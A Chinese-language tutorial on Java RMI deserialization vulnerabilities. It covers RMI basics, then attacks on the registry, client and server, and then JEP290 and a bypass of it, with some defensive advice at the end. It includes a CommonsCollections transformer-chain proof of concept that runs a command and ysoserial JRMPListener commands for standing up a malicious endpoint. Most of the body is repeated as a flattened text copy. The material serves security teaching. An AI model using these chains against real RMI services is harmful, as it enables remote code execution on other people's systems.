Java安全之RMI反序列化
字数 1894 2025-08-06 08:35:19

Java安全之RMI反序列化漏洞详解

1. RMI基础概念

1.1 什么是RMI

RMI(Remote Method Invocation)是Java远程方法调用的简称,允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网络上的不同计算机中。

1.2 RMI核心组件

RMI分为三个主体部分:

  1. Client-客户端:调用服务端方法的程序
  2. Server-服务端:远程调用方法对象的提供者,代码真正执行的地方
  3. Registry-注册中心:本质是一个map,用于客户端查询要调用的方法的引用

版本差异

  • 低版本JDK中,Server与Registry可以不在同一台服务器上
  • 高版本JDK中,Server与Registry必须在一台服务器上,否则无法注册成功

1.3 RMI通信协议

RMI客户端和服务端之间通过JRMP(Java Remote Method Protocol)协议通信,类似于HTTP协议,规定了通信规范。在RMI中,对象是通过序列化方式进行编码传输的。

2. RMI基本实现

2.1 服务端实现

2.1.1 定义远程接口

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface rmi extends Remote {
    public String hello() throws RemoteException;
}

要求:

  • 必须使用public声明
  • 必须继承Remote类
  • 接口方法需要声明RemoteException

2.1.2 实现远程接口

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteClass extends UnicastRemoteObject implements rmi {
    public RemoteClass() throws RemoteException {
        System.out.println("构造方法");
    }
    
    public String hello() throws RemoteException {
        System.out.println("hello,world");
        return "hello,world";
    }
}

要求:

  • 实现远程接口
  • 继承UnicastRemoteObject类(或手工初始化远程对象)
  • 构造函数抛出RemoteException
  • 实现类中使用的对象必须可序列化

2.1.3 注册远程对象

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException {
        rmi hello = new RemoteClass(); // 创建远程对象
        Registry registry = LocateRegistry.createRegistry(1099); // 创建注册表
        registry.rebind("hello", hello); // 注册远程对象
    }
}

2.2 客户端实现

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        RemoteClass hello = (RemoteClass) registry.lookup("hello");
        System.out.println(hello.hello());
    }
}

3. RMI反序列化攻击方式

3.1 攻击注册中心

3.1.1 攻击原理

注册中心支持的交互方式:

  • list
  • bind
  • rebind
  • unbind
  • lookup

在RegistryImpl_Skel#dispatch方法中,如果存在readObject操作,则可以利用反序列化漏洞。

3.1.2 可利用的方法

  1. bind & rebind

    • 调用时会用readObject读出参数名和远程对象
    • 如果服务端存在CC组件漏洞,可以利用反序列化攻击
  2. unbind & lookup

    • 只能传入String类型,但可以通过伪造连接请求利用

3.1.3 POC示例

// 使用CommonsCollections链攻击注册中心的bind方法
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
// ... 其他import

public class Client {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
        });
        
        // 构造AnnotationInvocationHandler链
        // ...
        
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
            Remote.class.getClassLoader(), 
            new Class[]{Remote.class}, 
            handler));
        registry.bind("test", r);
    }
}

3.2 攻击客户端

3.2.1 注册中心攻击客户端

当注册中心返回数据给客户端时,客户端会进行反序列化。如果控制注册中心的返回数据,就能攻击客户端。

利用步骤

  1. 使用ysoserial的JRMPListener启动恶意服务端:
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'open /System/Applications/Calculator.app'
    
  2. 客户端访问:
    Registry registry = LocateRegistry.getRegistry("127.0.0.1", 12345);
    registry.list();
    

3.2.2 服务端攻击客户端

两种情景

  1. 服务端返回参数为Object对象
  2. 远程加载对象(条件苛刻)

示例

// 服务端返回恶意对象
public class LocalUser extends UnicastRemoteObject implements User {
    public Object getUser() {
        // 构造恶意对象
        return (Object)handler;
    }
}

3.3 攻击服务端

3.3.1 客户端攻击服务端

当服务端的远程方法存在Object类型参数时,服务端接收数据时会调用readObject。

示例

// 客户端构造恶意对象并传递给服务端
User user = (User) registry.lookup("user");
user.addUser(handler); // addUser方法接收Object参数

4. JEP290及其绕过

4.1 JEP290介绍

JEP290机制用于过滤传入的序列化数据,提高安全性。在反序列化过程中新增filterCheck方法,任何反序列化操作都会经过检测。

白名单类

  • String.class
  • Remote.class
  • Proxy.class
  • UnicastRef.class
  • RMIClientSocketFactory.class
  • RMIServerSocketFactory.class
  • ActivationID.class
  • UID.class

受影响版本

  • JDK 8u121+
  • JDK 7u131+
  • JDK 6u141+

4.2 JEP290绕过

绕过思路:从白名单类或其子类中寻找复写readObject的利用点。

利用UnicastRef的JRMPClient绕过

// 使用ysoserial启动恶意服务端
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a Calculator"

// 客户端代码
Registry reg = LocateRegistry.getRegistry("127.0.0.1", 7777);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1099);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(
    Client.class.getClassLoader(), 
    new Class[]{Registry.class}, 
    obj);
reg.bind("hello", proxy);

版本限制

  • 该方式在JDK<=8u231时可用
  • 在8u241被修复

5. 防御措施

  1. 升级JDK:使用最新版本的JDK,修复已知漏洞
  2. 限制网络访问:控制RMI服务的网络访问权限
  3. 使用安全管理器:配置适当的安全策略
  4. 输入验证:对RMI调用进行严格的输入验证
  5. 禁用不必要的服务:如不需要RMI服务,应完全禁用

6. 总结

RMI反序列化漏洞是Java安全中的重要议题,攻击面包括:

  • 攻击注册中心(bind/rebind/unbind/lookup)
  • 攻击客户端(通过注册中心或服务端返回恶意对象)
  • 攻击服务端(通过Object参数传递恶意对象)

理解这些攻击方式有助于更好地防御相关漏洞,保护Java应用安全。

Java安全之RMI反序列化漏洞详解 1. RMI基础概念 1.1 什么是RMI RMI(Remote Method Invocation)是Java远程方法调用的简称,允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网络上的不同计算机中。 1.2 RMI核心组件 RMI分为三个主体部分: Client-客户端 :调用服务端方法的程序 Server-服务端 :远程调用方法对象的提供者,代码真正执行的地方 Registry-注册中心 :本质是一个map,用于客户端查询要调用的方法的引用 版本差异 : 低版本JDK中,Server与Registry可以不在同一台服务器上 高版本JDK中,Server与Registry必须在一台服务器上,否则无法注册成功 1.3 RMI通信协议 RMI客户端和服务端之间通过JRMP(Java Remote Method Protocol)协议通信,类似于HTTP协议,规定了通信规范。在RMI中,对象是通过序列化方式进行编码传输的。 2. RMI基本实现 2.1 服务端实现 2.1.1 定义远程接口 要求: 必须使用public声明 必须继承Remote类 接口方法需要声明RemoteException 2.1.2 实现远程接口 要求: 实现远程接口 继承UnicastRemoteObject类(或手工初始化远程对象) 构造函数抛出RemoteException 实现类中使用的对象必须可序列化 2.1.3 注册远程对象 2.2 客户端实现 3. RMI反序列化攻击方式 3.1 攻击注册中心 3.1.1 攻击原理 注册中心支持的交互方式: list bind rebind unbind lookup 在RegistryImpl_ Skel#dispatch方法中,如果存在readObject操作,则可以利用反序列化漏洞。 3.1.2 可利用的方法 bind & rebind : 调用时会用readObject读出参数名和远程对象 如果服务端存在CC组件漏洞,可以利用反序列化攻击 unbind & lookup : 只能传入String类型,但可以通过伪造连接请求利用 3.1.3 POC示例 3.2 攻击客户端 3.2.1 注册中心攻击客户端 当注册中心返回数据给客户端时,客户端会进行反序列化。如果控制注册中心的返回数据,就能攻击客户端。 利用步骤 : 使用ysoserial的JRMPListener启动恶意服务端: 客户端访问: 3.2.2 服务端攻击客户端 两种情景 : 服务端返回参数为Object对象 远程加载对象(条件苛刻) 示例 : 3.3 攻击服务端 3.3.1 客户端攻击服务端 当服务端的远程方法存在Object类型参数时,服务端接收数据时会调用readObject。 示例 : 4. JEP290及其绕过 4.1 JEP290介绍 JEP290机制用于过滤传入的序列化数据,提高安全性。在反序列化过程中新增filterCheck方法,任何反序列化操作都会经过检测。 白名单类 : String.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class 受影响版本 : JDK 8u121+ JDK 7u131+ JDK 6u141+ 4.2 JEP290绕过 绕过思路 :从白名单类或其子类中寻找复写readObject的利用点。 利用UnicastRef的JRMPClient绕过 : 版本限制 : 该方式在JDK <=8u231时可用 在8u241被修复 5. 防御措施 升级JDK :使用最新版本的JDK,修复已知漏洞 限制网络访问 :控制RMI服务的网络访问权限 使用安全管理器 :配置适当的安全策略 输入验证 :对RMI调用进行严格的输入验证 禁用不必要的服务 :如不需要RMI服务,应完全禁用 6. 总结 RMI反序列化漏洞是Java安全中的重要议题,攻击面包括: 攻击注册中心(bind/rebind/unbind/lookup) 攻击客户端(通过注册中心或服务端返回恶意对象) 攻击服务端(通过Object参数传递恶意对象) 理解这些攻击方式有助于更好地防御相关漏洞,保护Java应用安全。